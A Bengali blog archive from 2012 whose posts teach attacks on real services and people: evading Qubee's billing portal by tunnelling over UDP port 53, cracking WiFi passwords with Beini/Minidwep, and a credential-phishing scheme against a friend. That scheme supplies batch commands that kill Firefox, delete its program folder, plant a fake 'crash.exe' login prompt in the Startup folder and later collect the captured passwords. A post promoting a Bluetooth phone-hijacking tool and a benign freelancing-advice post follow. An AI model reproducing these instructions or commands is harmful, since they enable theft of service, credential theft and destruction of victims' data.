Qubee হ্যাক করে ফ্রী-তে অথবা বিল পরিশধ না করে ইন্টারনেট ব্যবহার

Sunday, 25 March 2012

Qubee হ্যাক করে ফ্রী-তে অথবা বিল পরিশধ না করে ইন্টারনেট ব্যবহার করুন।
এটি উভয়  prepaid ও postpaid গ্রাহক-রা ব্যবহার করতে পারবেন। এবং, আপনারা একটু সাহায্য করলে Banglalion-এও এই শুভিধা উপভোগ করতে পারবেন।
প্রথমত, আমি বাংলা খুব একটা লিখি না তাই ভুল ভ্রান্তি মাফ করবেন। দ্বিতীয়ত, আমি এটি করার জন্য অনেক কষ্ট করেছি, তাই দয়া করে ধন্যবাদ দিলে খুশি হবো এবং আপনি যদি আপনার ব্লগে আবার পোস্ট করেন, তাহলে দয়া করে আমার নাম লিখবেন।
আমি এই পদ্ধতিতে গত ৬ মাস ধরে ইন্টারনেট ব্যাবহার করছি কোন বিল না দিয়ে এবং কোন সমস্যা ছাড়া। (যদিও ইন্টারনেট ব্রাওজিং মাঝে মাঝে একটু সমস্যা দেয়, Youtube video ও  যে কোন ডাউনলোড অস্বাভাবিক ভালো। এখন আপনিও করতে পারেন। এই পদ্ধতিতে আপনি নিম্নে ৫১২ কেবিপিএস এবং সরবচ্চ ১/২ এমবিপিএস পাওয়া সম্ভব। এটি আপনার RSSI এবং CINR Signal Strength এর উপর নির্ভর করে।
এখানে কি করা হচ্ছে, তা নিয়ে বিস্তারিত একদম নিচে লেখা আছে।
প্রথমে এই লিঙ্ক থেকে ফাইলটি ডাউনলোড করে রেখে দিন। আমাদের এটি পরে লাগবে।
Password: qubee
১। প্রিপেড গ্রাহকদের জন্য নিয়মাবলী
দয়া করে, এই নিম্নে লেখা কিছু করার আগে, আপনার নিজ নিজ username ও password সংরক্ষিত করে রাখুন।
ক। আপনার যদি USB মডেম থাকে, তাহলে আপনার মডেম অপশন-এ গিয়ে
Username: qubee@qubee.com.bd  ও
Password: prepaid
লিখে Connect বতাম ক্লিক করুন।
এইবার আপনি যদি কোন ইন্টারনেট ব্রাউজার খুলে, যে কোন ওয়েবসাইট-এ জান, আপনার সেই ওয়েবসাইট না এসে আপনাকে বিল দাওয়ার জন্য একটি পেজ আসবে।
(এরপর “গ” থেকে পরুন)
অথবা
খ। আপনার যদি বড় Gigaset মডেম থাকে, তাহলে, আপনার ইন্টারনেট ব্রাউজার খুলে, নিম্নের এই অ্যাড্রেসে যান,
তারপর OK ক্লিক করুন।
“Advanced Settings” ক্লিক করুন
তারপর, “Wimax Configuration” ক্লিক করুন
তারপর,
Username: qubee@qubee.com.bd  ও
Password: prepaid
লিখে OK  বতাম ক্লিক করুন।
এবার, “Administration” ক্লিক করে “restart” ক্লিক করুন,
তারপর, প্রতিবার “OK” চাপ দিয়ে, আপনার মডেম,  restart ও connect হবার জন্নে ২ মিনিট সময় দিন।
এইবার আপনি যদি কোন ইন্টারনেট ব্রাউজার খুলে, যে কোন ওয়েবসাইট-এ জান, আপনার সেই ওয়েবসাইট না এসে আপনাকে বিল দাওয়ার জন্য একটি পেজ আসবে।
(এরপর “গ” থেকে পরুন)
গ। এইবার পুরবে ডাউনলোড করা ফাইলটি extract করুন
“Qubee Hack” আইকনটি “Right-click” করে “Run As Administrator” ক্লিক করে “continue” বা “Yes” চাপুন।
এরপর আবার “yes” চাপুন।
এবার হাতের ডান দিকে নিচে দেখতে পাবেন একটি লাল রঙের আইকন, এটি “Double-click” করুন এবং “Unblock” বা "Allow access" চেপে “yes” চাপুন।
এরপর একটি window আসবে, যেটি পরলে বুঝবেন যে Connect হচ্ছে।
আপনার এখন কিছু করতে হবে না, যখন window-টি, একাই নিচে চলে যাবে, আপনি “connected” হয়ে গিয়েছেন।
এখন আপনার ব্রাউজার বা “torrent” খুলে internet browse বা download শুরু করুন।
২। Postpaid গ্রাহকদের জন্য নিয়মাবলী
যেহেতু Postpaid গ্রাহক রা একবার বিল দিলে সারা মাস চলে। আপনাদের নিয়মটা হাল্কা ভিন্ন।
সাম্নের মাসে আর বিল দিবেন না, তারপর দেখবেন ১০-১৫ দিন পর আপনার সংযোগ বিচ্ছিন্ন হয়ে গিয়েছে এবং আপনি কোন ওয়েবসাইট-এ গেলে আপনাকে বিল দাওয়ার একটি পেজ-এ নিয়ে জাচ্ছে।
এই অবস্থা থেকে আপনি, “গ”-এর নিয়মাবলী অনুসরণ করুন এবং আর বিল দাওয়া পুরোপুরি বন্ধ করুন।
অথবা,
আপনার অ্যাকাউন্ট যদি পুরোপুরি "suspended" হয়ে থাকে, বা "connect"-ই না হয়, তাহলে
"প্রিপেড" গ্রাহকদের নিয়মাবলী অনুসরণ করুন।
শেশ কথাঃ
কোন সমস্যা হলে, নিচে লিখুন এবং আমি সাহায্য করবো।
আমার “হ্যাক” টি সম্পরকে বিস্তারিত জানতে, আমার লেখা গুলা পরুন,
খুব ছোট করে বলতে হলে,
আপনাকে Qubee বিল দাওয়ার পেজ-টি, captive firewall, দিয়ে করে। এর জন্য udp protocol-এ port 53 খোলা রাখতে হয়, আর আমি খুব simply সব internet traffic udp 53 দিয়ে নিচ্ছি, আর তাই আপনি ইন্টারনেট পাচ্ছেন।
আর কিছু সফটওয়্যার দিয়ে একি জিনিস করা সম্ভব, কিন্তু বেশির ভাগেই আপনার নিজস্ব server থাকা লাগে।
নামগুলো হলও,
iodine,
dns2tcp,
udptunnel,
pd-proxy  ও
vpncup.com
server-এ লোড কমানর জন্য এবং সবসময় ব্যাবহার-যোগ্য করতে, আমি PD-Proxy ও vpncup.com নিয়ে খুব শিঘ্রই আরও দুটি পোস্ট করবো।
আমি নিজে Qubee পোস্টপেড ব্যাবহার করি। আপনারা যদি এটি আরও ভালো করতে চান, বা Banglalion-এও একি জিনিশ করতে চান।
তাহলে, আপনার কারও  Qubee prepaid modem অথবা Banglalion মডেম ১/২ দিনের জন্য আমাকে ধার দিলে, আমি Banglalion দিয়ে ফ্রী ইন্টারনেট ব্যাবহার করার একটি পোস্ট করতে পারব কারন আমার নিজের টাকা খরচ করে আর কোন মডেম কিনার ইচ্ছে নাই।

আপনারা কেউ, সাহায্য করতে ইচ্ছুক হলে, আমাকে ফেসবুক-এ মেসেজ পাঠাতে পারেন অথবা নিচে কমেন্ট-এ লিখতে পারেন।
রাহাত মাহবুব।



সহজে হ্যাক করুন ওয়াইফাই পাসওয়ার্ড (১০০% পরীক্ষিত)

Saturday, 24 March 2012

কামন আছেন সবাই । অনেক দিন পর আপনাদের সামনে আমি হাজির হলাম একটা ছোট পোস্ট নিয়ে।  কিভাবে সহজে ওয়াইফাই পাসওয়ার্ড হ্যাক করবেন ।অনেকেই হয়ত চেষ্টা করছেন না পেরে হাল ছেরে দিয়েছেন।তারা আবার একবার দেখতে পারেন। আমি অনেক দিন যাবত চেষ্টা করছি ওয়াইফাই পাসওয়ার্ড হ্যাক করার জন্য। আজ আমি সফল হলাম তাই আমি আপনাদের সাথে শেয়ার না করে থাকতে পারলাম না।
ডাউনলোড করেন এখান থেকে  Minidwep-gtk   http://www.4shared.com/get/EGgBygVD/BEINI.html
beini Minidwep-gtk  সফটওয়্যার টি সিডি/ ডিভিডি তে রাইট করেন। অথবা পোর্টেবল ইউএসবি  বানান।
পোর্টেবল ইউএসবি বানাতে নিচের সফটওয়্যারে টি ডাউনলোড করেন আপনার উইন্ডোজ হিসেবে।
ডাউনলোড এখানে
screenshot
screenshot
Distribution-ubuntu এবং  -10.04_Live সিলেক্ট করেন।
Diskimage Minidwep-gtk   ইস্যু ইমেজ ফাইল টি দেখিয়ে দিন।
Type:USB Drive  Drive:D:\ আপনার ইউএসবি টি যে ড্রাইভ এ লাগানো থাকে ।


ইনসার্ট সিডি/ডিভিডি অথবা ইউএসবি । রিস্টার্ট কম্পিউটার এবং বুট করান সিডি/ডিভিডি অথবা ইউএসবি থেকে ।ঠিক উইন্ডোজ করার মত বুট করান।
১।বুট সফল হলে নিচের ছবির মত দেখতে পাবেন।  ক্লিক করেন Minidwep-gtk ।

২ নিচের ছবির মত একটা উইন্ডোজ আসবে  ok  ক্লিক করেন।
৩।এখন Minipwep-gtk প্রোগ্রাম টি খুলবে । ওয়ারলেস নেটওয়ার্ক খুজার জন্য ক্লিক  scan । নিচের ছবির মত।
৪। সিলেক্ট ওয়ারলেস নেটওয়ার্ক যেটা সাথে client আছে। । ক্লিক launch তাহলেই শুরু করবে ক্র্যাক প্রকসেস। নিচের ছবির মত।
ওয়ারলেস নেটওয়ার্ক  হ্যাক করতে চান তার  ডাটা প্রদান ব্যবহার অবস্তায় থাকতে হবে। তাহলে তারাতারি  ক্র্যাক প্রকসেস হবে ।যদি IVS value চালু না থাকে বা আস্তে আস্তে কাজ করে তার মানে router ডাটা প্রদান করে না।তাহলে অন্য সময় চেষ্টা করতে হবে যখন router ব্যবহার হয়। যে পাসওয়ার্ড টি শক্তিশালী তা   নাও হতে পারে।
নিচের ছবিটি দেখুন ।
৫।পাসওয়ার্ড টি খুজে পেতে সফল হলে নিচের ছবির মত দেখাবে।

undefined
WPA/WPA2 জন্য :
নিচের ছবির মত সেটিং করেন। দ 
ভাল লাগলে কষ্ট করে একটা কমেন্ট করবেন।

দয়া করে কার ক্ষতি করবেন না  



জটিলভাবে বোকা বানিয়ে হ্যাক করুন বন্ধুর FaceBook একাউন্ট!!!

Friday, 23 March 2012

হ্যাকিং শিখতে খুব আগ্রহী এমন মানুষের কোন অভাব নেই। বিশেষ করে, কারো যদি FaceBook একাউন্ট হ্যাক করতে পারতেন, তাহলে হয়ত আপনার জীবন সার্থক হত। কিন্তু আমরা সকলেই জানি, হ্যাকিং কোন সহজ বিষয় নয়। শিখতে অনেক কষ্ট হয়।

আমি কোন এক্সপার্ট হ্যাকার না হলেও আজ আপনাদের একটা হ্যাকিং শিখাব। আশা করি শিরোনাম দেখেই আপনি বুঝতে পারছেন আমি কিসের হ্যাকিং এর কথা বলছি। আমি যে পদ্ধতি বলব, তা খুবই সহজ। এমনকি শ্রেষ্ঠ এন্টিভাইরাস ও আমার এই কারসাজি ধরতে পারবে না। তবে শর্ত একটাই, আপনার ভিকটিমের কম্পিউটারে আপনার এক্সেস থাকতে হবে। আপনার বন্ধু কি তার কম্পিউটারে আপনাকে হাত দিতে দিবে না, তা হয় নাকি? অনেকেই তো আছেন বন্ধুর কম্পিউটারে ঘন্টার পর ঘন্টা বসে থাকেন।

এখন চলে আসি  মূল কথায়। আমি C++ দিয়ে স্বহস্তে একটি প্রোগ্রাম বানিয়েছি যা মানুষকে বোকা বানাতে সক্ষম, হ্যাঁ, নিজে তৈরি করেছি। আবার বলিয়েন না যে অন্য জায়গা থেকে কপি-পেস্ট মারছি। এমন উলটাপালটা বুদ্ধি আমার মাথা ছাড়া কারো মাথায় আসে না। C++ জানা থাকলে ভাল। তবে সমস্যা নেই, কারন আমি কোডটা + ফাইলটা দিয়ে দিব। যেটা খুশি ব্যবহার করিয়েন।

যেভাবে কাজ করবেঃ

আগে বলে রাখি, জিনিসটা খুবই সিম্পল। আপনার বন্ধু যখন কম্পিউটার রান করবে, তখন প্রথমে একটা মেসেজ দেখাবে “Serious Error Occured”. তারপর একটা কনসোল দেখাবে, যেখানে লেখা থাকবে – “FireFox has crashed on the last start for one or more reason. Some scripts may fail to protect your login credentials from 3rd Parties. To help protect your login id, please verify again. The following verification codes are valunerable: FaceBook.
Please re-verify your FaceBook account. This is for your own safety.”
এরপর Username এবং Pass চাওয়া হবে। আপনার বন্ধু যদি এই কনসোলের কথা বিশ্বাস করে, তাহলেই কেল্লা ফতে। সে লেখার সময় একেবারে Login Pass লেখার মত অনুভব করবে। সে রকম কারসাজিই আমি করেছি।
আর তারপর, তারপর কি???????
তারপর তার UserName এবং Pass একটা ফাইলে সেভ হয়ে যাবে। আপনার কাজ হচ্ছে পরের দিন এসে ফাইলটি নিয়ে নেয়া। মজার না? :)
নিচে কনসোলটি স্ক্রিনশট:


যেভাবে করবেনঃ
এজন্য C++ লাগবে। তবে না জানলে সমস্যা নেই, কারন আমি ফাইলটি দিয়ে দেব। কোডটি চলুন দেখে নিই: http://codetidy.com/2300

ফাইলটি ডাউনলোড করতেঃ http://www.mediafire.com/?0y734mbykpixa97

এখন জেনে নিই কীভাবে কাজটি করবেন।
প্রথমে একটা ব্যাচ ফাইল বানান, যেখানে নিম্নলিখিত কোডগুলো লিখবেন:
taskkill /f /im firefox.exe
erase /f /q “C:\Program Files\Mozilla FireFox\*.*”
copy “crash.exe” “C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\”
exit

আপনার কাজ শেষ। এবার এই ব্যাচ ফাইল .bat এবং crash.exe ফাইলটি আপনার পেনড্রাইভে নিয়ে বন্ধুর কম্পিউটারে যান। এবার সুযোগ বুঝে ব্যাচ ফাইলটি রান করুন। এর ফলে crash.exe আপনার বন্ধুর কম্পিউটারের Startup এ চলে যাবে। পরবর্তীত কম্পিউটার রান করলেই সে কনসোল দেখতে পাবে। সে যখন ফায়ারফক্স রান করবে, তখন ফায়ারফক্স কাজ করবে না। এর ফলে সে ভাববে সত্যিই কিছু হয়েছে এবং সে পাস ও লগিন আইডি দিয়ে দিবে।
এই পাস ও লগিন আইডি C:\Log.txt নামক ফাইলে সেভ হবে। আপনার কাজ হবে পরেরদিন এসে সুযোগ বুঝে Log.txt ফাইলটি নিয়ে নেয়া। জিনিসটা সহজ করতে একটা ব্যাচ ফাইল তৈরি করতে পারেনঃ
copy “C:\Log.txt” “J:\”
erase /f /q “C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\crash.exe”

উপরের কোডে J:\ এর জায়গায় আপনার পেনড্রাইভ ড্রাইভার লেটার বসিয়ে দিন। বিশেষ করে আপনার বন্ধুর কম্পিউটারে পেনড্রাইভ ঢুকালে কোন ড্রাইভার লেটার শো করে তা বসাবেন। চলুন দেখে নিই Log.txt ফাইলটি।

দেখলেন তো, উক্ত ফাইলে এভাবেই আপনার বন্ধুর login id সেভ হয়ে থাকবে।

কেমন লাগল? বুদ্ধিটা একটু উলটা হলেও ভাল। তবে হ্যাঁ, সিকিউরিটিতে এক্সপার্ট এমন কারো কাছে এই কাজ করার চেষ্টা কইরেন না, তাহলে ধরা খাবেন। আর হ্যাঁ, ব্যাচ কমান্ড গুলো কিন্তু শুধু Windows 7 এর ক্ষেত্রে প্রযোজ্য। XP হলে Directory একটু ভিন্ন, প্রয়োজন অনুযায়ী চেঞ্জ করে নিবেন।

সহজে ও দ্রুত download করুন file sharing site থেকে

Wednesday, 21 March 2012

এটা আমার প্রথম tune(micro tune) । তাই ভুল ত্রুটি মাফ করে দেবেন আশা করি। আমার আজকের বিষয় file sharing site যেমন wupload , filesonic , oron এসব থেকে সহজে download করার পদ্ধতি । প্রথমে যা download করতে চান সেই website এ যান । এরপর ব্রাউজার এর addess বার থেকে download link টি কপি করুন । এবার  এখান এ গিয়ে  বক্স এ লিঙ্ক টি পেস্ট করুন । এবার translode file এ ক্লিক করুন । কয়েক সেকেন্ড পরে নতুন একটি download link পাবেন । এবার ক্লিক করুন আর নিএ নিন resume download এর মজা ।
বি.দ্র- ডাউনলোড লিঙ্ক টি ছয়ে ঘণ্টা পর্যন্ত সচল থাকবে ।টিউন টি আগে করা হলে মাফ করবেন ।ডাউনলোড কিছু নির্দিষ্ট সাইট থেকে হবে যা এ ওয়েবসাইট  এ উল্লেখিত থাকবে ।


ব্লুটুথ দিয়ে হ্যাক করুন যেকারো মোবাইল


আজকে আমি আপনাদের এমন একটি জাভা সফটওয়ারের সাথে পরিচয় করিয়ে দেবো যার ব্যাবহার জানার পরে আপনি আর কখনোই অকারনে ব্লুটুথ অন করার সাহস পাবেন না ।অনেকেই হয়তো সফটওয়ারটি ব্যাবহার করছেন বা করেছেন । কিন্তু অনেকেই এখনো এটির সম্পরকে জানেন না । যারা জানেন না তাদের জন্যি আমার এই টিউন । সফটওয়ারটির নাম SUPER BLUETOOTH HACK.
এটি দিয়ে যা যা করতে পারবেন :-
১ . এই সফটওয়ার দিয়ে আপনি ব্লুটুথ ওপেন থাকা যে কোন মোবাইলের কল লিস্ট,ইনবক্স,ফোনবুক চেক করতে পারবেন।
২ . আপনি অন্যের ব্লুটুথ ওপেন থাকা মোবাইলের ডায়াল আপ নিয়ন্ত্রন করতে পারবেন।মানে আপনি আপনার মোবাইল থেকেই নির্দিষ্ট করে দিতে পারবেন।
৩ . আপনি অন্যের ব্লুটুথ ওপেন থাকা মোবাইলের মেসেজ অপশন ও নিয়ন্ত্রন করতে পারবেন।মানে আপনি যে কোন কাউকে মেসেজ পাঠাতে পারবেন ঐ ব্লুটুথ ওপেন থাকা মোবাইলের নাম্বার থেকে।যা অত্যন্ত ভয়ানক কেননা যদি ঐ ব্লুটুথ ওপেন থাকা ব্যাক্তি রবি সীম ব্যাবহার করে তাহলে খুব সহজেই অন্য রবি নাম্বারে আপনি ব্যালেন্স ট্রান্সফার করতে পারবেন।
৪ . আপনি অন্যের ব্লুটুথ ওপেন থাকা সেটের মধ্যে থাকা সীমের নাম্বার জানতে পারবেন।
৫ . আপনি অন্যের ব্লুটুথ ওপেন থাকা সেটের ব্যাটারি ইনফোরমেশন জানতে পারবেন।
৬ . আপনি অন্যের ব্লুটুথ ওপেন থাকা সেটকে আপনার সেট থেকে সম্পূর্ণ নিয়ন্ত্রন করতে পারবেন।আপনার সেট থেকেই ঐ ব্লুটুথ ওপেন করা, সেটের মিউজিক শুনতে পারবেন,গান চেন্জ করতে পারবেন ;এক কথায় পুরোপুরি নিযন্ত্রন।
এগুলো ছাড়াও আরো অনেক ব্যাবহার আছে । পুরোটা নিয়ে এখানে আলোচনা নাই বা করলাম ;) । তবে উল্লেখ্য যে সব অপশন সব সেটে কাজ নাও করতে পারে । এটা মূলত নির্ভর করে য়াপনার এবং ব্লুটুথ ওপেন থাকা সেটের ওপর ।
সফটওয়ারটির ডাউনলোড করুন এখান থেকে ।
দয়া করে কেউ এর অপব্যাবহার করবেন করবেন না। 


অনলাইনে যারা সফল হতে চান তাদের জন্য পুরো বুলেট আইডিয়া! ট্রাই করুন! ফ্রীল্যান্সার,ডেভেলপার,রিসেলার

Monday, 19 March 2012

আমার ছ’জন কর্মচারী আছে,আমি যা কিছু জানি সব তারাই আমাকে শিথিয়েছে
তাদের নাম (কি,কে,কেন,কখন,কেমন করে আর কোথায়)
- অ্যারিস্টটল

১। ফ্রীল্যান্সিং করে সফলতা লাভ এবং হতাশা ত্যাগের উপায় :-

বর্তমানে অনেক বাংলাদেশী যুবকরাই ফ্রীল্যান্সিং এর সাথে জড়িত,কেউ নিজেকে সফল বলে দাবি করে আবার কেউ বলে আমাকে দিয়ে এসব হবে না। এই যে এখানেই ২টি কথা লুকিয়ে আছে ”সফলতা,হতাশা” আসলেই কি আপনি কাজ করতে গিয়ে ব্যার্থ হয়েছেন ?নাকী সঠিক কাজটি করতে পারেন নি বলে নিজেকেই নিজে অযোগ্য মনে করছেন। আজকে আমি আপনাদের যা শেখাবো তা হলো সফল হতে যা করতে হয়।

ক) প্রথমেই ঠিক করুন আপনি কোন কাজটি ভালো পারেন

এবং কোন কাজটি করলে আপনি ভালো মতো মানিয়ে নিতে পারবেন, বহুল জনপ্রিয় কিছু ফ্রীল্যান্সিং জব (ডাটা এন্ট্রি,সার্চ ইঞ্জিন অপটিমাইজেশন,ভার্চুয়াল এসিসট্যান্ট,মোবাইল এপ্লিকেশন ডেভেলপিং,ওয়েব সাইট ডিজাইন,সার্ভার ট্রাবলশূটিং রিপেয়ারিং,গ্রাফিক্স,ডাটাবেস বিশেষজ্ঞ) এখানেই আছে আপনি যে কাজটি করতে চান বা বর্তমানে করথেছেন।

খ) কিভাবে কাজটি পাবেন

বর্তমানে অনেক ফ্রীল্যান্সিং জব পোষ্ট এবং বিটিং সাইট রয়েছে এর মধ্যে জনপ্রিয় যেমন,99designs,allfreelancework,getacoder,freelancers,odesk,freelance ইত্যাদি। এইসব সাইটে আপনার আইড়ি করা থাকলেই আপনি কাজের বিট করতে পারবেন, অথবা বাংলাদেশের ভিতরেই অনেক লোকাল কাজ পাওয়া যায় তাও আপনি নিত পারেন। আর কাজটি যেভাবে আপনার করে নিবেন
  • সবার মত বিট করার পর বায়ার কে একটি ভালো ইমেইল পাঠান(কোথায় আপনি আছেন আর আপনি কি সেবা দিতে পারেন)
  • যদি লোকাল কাজ হয় তবে মুঠোফোনে পরিচয় করে নিতে পারেন আর সরাসরি হলে তো আরো ভালো
  • আপনার প্রতি যারা সন্তুষ্ট তাদের রেফারেন্স দিন
  • প্রথমে সম্পর্ক স্থাপন করতে হলে ফ্রি পরামর্শ দিতে হবে
  • খুব ভালো আচরন করুন
  • যদি পুরোনো কোন ক্লায়েন্টের সাথে যোগাযোগ হয় তবে তাকে আপনার দেয়া নতুন সার্ভিস সম্পর্কে বলুন
  • যখন কোন ক্লায়েন্ট কে ইমেইল করবেন,তখন একটি email signature ইউজ করতে পারেন,যেখানে বিদায়ী কিছু সম্মোদন থাকবে।
  • ক্লায়েন্ট থেকে একটি ভিডিও অথবা মুদ্রণ ডেমো নিতে পারেন যাতে কাজ করতে সুবিদা হয়।
  • সবার আগে কাজ পেলে সময় জেনে নিন,কত দিনে আপনি কাজটি করার সময় পাচ্ছেন।

গ) কাজটি আপনি পেয়েছেন এখন কিভাবে করবেন

প্রথমেই একটি চার্ট তৈরী করুন আর লিখুন ক্লায়েন্ট কি কি সুবিদা চাইছেন,
সময় লিখে রাখুন, কিভাবে পেমেন্ট নিবেন তাও এখানে লিখুন
  • কাজটি ঠিক সময়ে শেষ করেছেন,এবং সাবমিট করেছেন, ৫০% পেমেন্ট আগেই পেয়েছেন,এখন ক্লায়েন্ট কাজ বুঝে পেয়ে বাকি পেমেন্ট দেওয়ার কথা এই সময়ে এসে যে সকল জটিলতা দেখা দিবে তা হলো যদি আপনি একটি ওয়েব সাইটের কাজ করে থাকেন তবে এখন ক্লায়েন্ট আপনাকে বলবে সাইটের ফুটার এর রং পরিবর্তন করে দিন,এপ্লিকেশন হলে বলবে
  • ফন্ট টি একটু সুন্দর করে দিন,অমুক কাজটি কিভাবে করবো একটি টিউটোরিয়াল দিন ক্লায়েন্ট চাইবে আপনাকে দিয়ে ওই টাকার মধ্যে আরো কিছু কাজ করাতে,আর আপনার মন চাইবে মূল কাজ শেষ এখন টাকা দেন।
  • এক সময় একটু কথাকাটাকাটি করেই আপনার টাকা পেয়ে যাবেন।
বাকি পেমেন্ট নিতে গিয়ে যে সকল ভুল আপনি করতে পারেন:-
  • ক্লায়েন্ট কে গালাগাল
  • হুমকি
  • যোগাযোগ ঠিক মতো না করা বা ক্লায়েন্ট থেকে সরে থাকা
  • আপিন হয়ত সোস্যাল নেটওয়ার্কিং সাইট সমূহের প্রোফাইল হতে ক্লায়েন্টকে ব্লক করবেন
  • ক্লায়েন্ট ফোন করলে তা ইগনর করবেন
উপরের ভুলের কারনে আপনি যা হারাবেন:-
  • ক্লায়েন্ট আপনাকে দিয়ে আগামিতে আর কোন কাজ করাবে না
  • ক্লায়েন্ট থেকে আগামিতে আর কোন রেফারেন্স পাবেন না
  • আপনার নামে সে মার্কেটে দুর্নাম করবে
  • আপনার রেফুটেশন শূণ্যতে নেমে আসবে

ভালো ব্যাবহার করেই ক্লায়েন্ট কে ধরে রাখবেন এভাবে:-
  • স্যার/ভাই/ডিয়ার আমি এখন গুরুত্বপূর্ন একটি কাজ করতেছি,আমি ফ্রি হয়ে আপনাকে pm দিবো।(চ্যাটে)
  • কল কেটে দিন এবং মেসেজ দিন আমি পরে আপনাকে ব্যাক কল দিবো(ফোন কলের ক্ষেত্রে)
  • মেইলের রিপ্লে দিন এভাবে”আমি ঠিক সময়ে আপনার কাজটি শেষ করেছি এবং অন্য কাজ হাতে নিয়েছি, এখন আপনার কাজটির কোন সমস্যা থাকলে আমি তা ফ্রি হয়েই দেখবো”
  • অথবা অটো মেইল রেসপন্ড করে রাখুন এতে ক্লায়েন্ট বিরক্ত হবে না।

-: ওয়েব ডেভেলপার :-

পোর্টফোলিও....

  • ১।  কি কি কাজ আপনি পারেন তার একটা তালিকা তৈরী করুন
  • ২।  আপনি অন্য সবার চেয়ে কোন ফিচারটি ভালো বাবে উপস্থাপন করতে পারেন তাও লিখুন
  • ৩। সর্বশেষ আপনি যে কাজটি শেষ করেছেন তার সারসংক্ষেপ লিখুন
  • ৪। টেষ্টিমোনিয়াল দিন
  • ৫। এ বছর আপনি কোন কোন ওপেনসোর্স স্ক্রিপ্ট দিয়ে কাজ করেছেন তাও লিখুন

লোকাল কাজ পেলে কিভাবে ক্লায়েন্ট কে হাত করবেন ?

  • ১।  ক্লায়েন্ট কে বলুন আমি আমার নিজের মনে করেই কাজ করবো আর আপনার সাথে কাজ করতে পেরে আমি আনন্দিত
  • ২। আমি বাংলাদেশের সেরা ডিজাইনার/ডেভেলপার এটা কোন সময় বলবেন না
  • ৩। অপর কোন ডিজাইনার/ডিজাইন কোম্পানির নামে বদনাম করবেন না
  • ৪।  ক্লায়েন্ট কে প্রথমেই বলুন “আপনার সাইটের/ব্লগের জন্য আপনি কি কি সুবিদা চাইছেন,ক্লায়েন্ট আপনাকে বলার সাথে সাথে আপনার নিজের সাথে মিলিয়ে নিন কি কি সুবিদা আপনি এর মদ্যে দিতে পারবেন”
  • ৫। ক্লায়েন্ট কে একটি কথা ভালো করে বলুন যে সে কি সাইট ডাইনামিক চায় নাকী স্টাটিক চায়,কেননা কাজ সাবমিট এর পর সে চাইবে সাইটে হয়ত লগিন করে নিজেই কিছু আপডেট করতে,
    যদি আগেই ওই ভাবে সব কথা না বলে রাখেন পরে ঝামেলা করতে পারে।
  • ৬। স্টাটিক হতে ডাইনামিক সাইটের রেট বেশি(ডিজাইন খরচ)তাই ডাইনামিক বানালে যে সকল অতিরিক্ত সুবিদা দেয়া যাবে ওটাই বার বার বলুন ,মোট কথা হলো আপনি তাকে ডাইনামিট সাইট করে দিতে চাইবেন
    এতে আপনার লাভ হবে এবং ক্লায়েন্ট খুশি হবে।
  • ৭। সাইটের ডিজাইন রেটের সাথে মনে মনে ১/২ হাজার টাকা বাড়িয়ে বলুন(ডিজাইন রেটের বাইরে) আর ক্লায়েন্ট কে বলুন আমি SEO ফ্রি করে দিবো আপনার জন্য
    ক্লায়েন্ট খুশি হয়ে যাবে,কিন্তু আপনি তো ফ্রি করছেন না ,কেননা আপনি আরো ২ হাজার টাকা বাড়তি নিচ্ছেন,এটাই টেকনিক।
    কিভাবে পেমেন্ট নিবেন ?
  • সবসময় ব্যাংকের মাধ্যমে পেমেন্ট নিতে চেষ্টা করুন,কেননা এতে আপনার কোন চার্জ কাটবে না আর কাটলেও তা কিছুই না
  • SA পরিবহন,কোরিয়ার/ পোষ্ট অফিসে
  • এইভাবে পেমেন্ট নিবেন না,কারন আপনাকে প্রতি হাজারে ১০/১৫ টাকা দিতে হচ্ছে আর জরুরি পাঠালে আপনার ৩০০ টাকা বা আরো বেশি লাগবে
  • যদি আপনার ক্লায়েন্ট SA পরিবহনে জরুরি ভাবে আপনার জন্য ১০ হাজার টাকা পাঠায় তবে চার্জ আসবে ২৫০/৩০০ টাকা
  • কিন্তু সে যদি চালাকি করে due করে দে মানে রিবিভার চার্জ দিবে বলে তবে এই ৩০০ টাকা আপনার কাধে উঠবে।
  • আর যাদের ব্যাংক একাউন্ট নেই তারা সুবিদামতই পেমেন্ট নিন।

কাজ শেষ কিন্তু ক্লায়েন্ট বলছে কিছু টাকা কম নিতে বা কম দিবে:-

যা ভুল:----
ওই আমি তোর সাইট হ্যাক কইরা দিমু
তোর সাইটে ভাইরাস আগেই ডুকাই রাখছিলাম
আমি যানতাম এমন কিছু হবে তাইতো আমার পার্সোনাল কোড দিয়ে রেখেছি
সাইটের এডমিন দিমু না
সি প্যানেল তো আমার কাছে
এগুলো বলে নিজের স্টাটাস নামাবেন না আর এসব হলো ছোট বাচ্ছার মত কথা
আর এতে কোন সমাধান হবেই না বরং আপনার ক্যারিয়ার যাবে
যা ঠিক:-----
স্যার/ভাইয়া আসলে আমাকে আপনার সাইটের জন্য বা কাজের জন্য প্রচুর সময় দিতে হয়েছে
আমি অন্তত (...) দিন ঘুমাতে পারি নাই
আমি আপনার সাথে সাইটের কাজ করার আগেই যা বলার বলেছি এর চেয়ে কম দিলে আমার কষ্টের সঠিক মূল্য পাবো না
ক্লায়েন্টকে বুঝাতে হবে যে আপনি ওই টাকা টাই চাইছেন যা পেলে আপনার পোষাবে।

সম্পর্ক ঠিক রাখবেন এভাবে:-

নতুন নতুন অফারগুলো পুরানো ক্লায়েন্ট কে আগে জানান
মাঝে মাঝে আপনি যে সব সাইটের কাজ করেছেন তা দেখুন আর কোন কিছু বলার থাকলে তা ক্লায়েন্টকে বলুন
ক্লান্টকে নতুন কোন ফ্রি পরামর্শ দিতে পারেন।

কিভাবে জটিল ক্লায়েন্ট পাবো ?

আপনি যাদের চিনেন তাদের নাম মনে করুন
বর্তমান ক্লায়েন্ট থেকে জেনে নিন তার পরিচিত কেউ এই জাতীয় কোন কাজের সাথে জড়িত কিনা
সঠিক স্থানে বিজ্ঞাপন দিন
সুন্দর ইমেইল মার্কেটিং
দেশের নামকরা ডিজাইন কোম্পানির সাথে হাত মিলিয়ে নিন

এক্সট্রা ট্রিকস:-

আপনারা ক্লায়েন্টের জ্ঞান খাটো করে দেখবেন না
প্রকৃত উদাহরণ দিন
কথা বলার এক্সপ্রেশন সহজ রাখুন
ক্লায়েন্টকে প্রশ্ন করতে উত্সাহিত করুন

একটি ওয়েবসাইট ডিজাইন প্রস্তাবনা লিখন:-

আপনার প্রস্তাবনা ডিজাইন:
